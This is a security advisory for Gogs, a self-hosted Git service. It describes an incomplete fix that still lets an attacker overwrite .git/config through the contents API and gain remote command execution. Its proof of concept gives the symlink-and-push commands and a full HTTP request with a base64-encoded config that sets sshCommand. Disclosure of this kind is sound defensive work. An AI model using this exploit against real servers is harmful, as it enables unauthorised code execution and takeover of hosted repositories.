Gogs is an open source self-hosted Git service. In version 0.13.3 and prior, due to the insufficient patch for CVE-2024-56731, it's still possible to update files in the .git directory and achieve remote command execution. This issue has been patched in versions 0.13.4 and 0.14.0+dev.

Affected: Go: gogs.io/gogs

### Summary Due to the insufficient patch for the https://github.com/gogs/gogs/security/advisories/GHSA-wj44-9vcg-wjq7, it's still possible to update files in the `.git` directory and achieve remote command execution.

### Details Function `UpdateRepoFile` security check under some if conditions. While UpdateRepoFile call in API router will NOT match any of them. It's still possible to update `.git/config` file via API router. https://github.com/gogs/gogs/blob/d940e692ec58abd45e648c054d7dfd88909034ec/internal/route/api/v1/repo/contents.go#L197-L206

### PoC ```bash # add a symlink file and push to repo. ln -s .git/config link git add link git commit -m 'add' && git push ```

Update file via API router ```http PUT /api/v1/repos/demo/vul/contents/link HTTP/1.1 Content-Type: application/json Host: localhost:3000 Authorization: token {token}

{"message":"message","committer":{"name":"test","email":"a@b.com"},"content":"W2NvcmVdCglyZXBvc2l0b3J5Zm9ybWF0dmVyc2lvbiA9IDAKCWZpbGVtb2RlID0gdHJ1ZQoJYmFyZSA9IGZhbHNlCglsb2dhbGxyZWZ1cGRhdGVzID0gdHJ1ZQoJaWdub3JlY2FzZSA9IHRydWUKCXByZWNvbXBvc2V1bmljb2RlID0gdHJ1ZQoJc3NoQ29tbWFuZCA9IHRvdWNoIC90bXAvYWJjCltyZW1vdGUgIm9yaWdpbiJdCgl1cmwgPSBzc2g6Ly9naXRAbG9jYWxob3N0L2RlbW8vdnVsLmdpdAoJZmV0Y2ggPSArcmVmcy9oZWFkcy8qOnJlZnMvcmVtb3Rlcy9vcmlnaW4vKgpbYnJhbmNoICJtYXN0ZXIiXQoJcmVtb3RlID0gb3JpZ2luCgltZXJnZSA9IHJlZnMvaGVhZHMvbWFzdGVy"} ```

### Impact RCE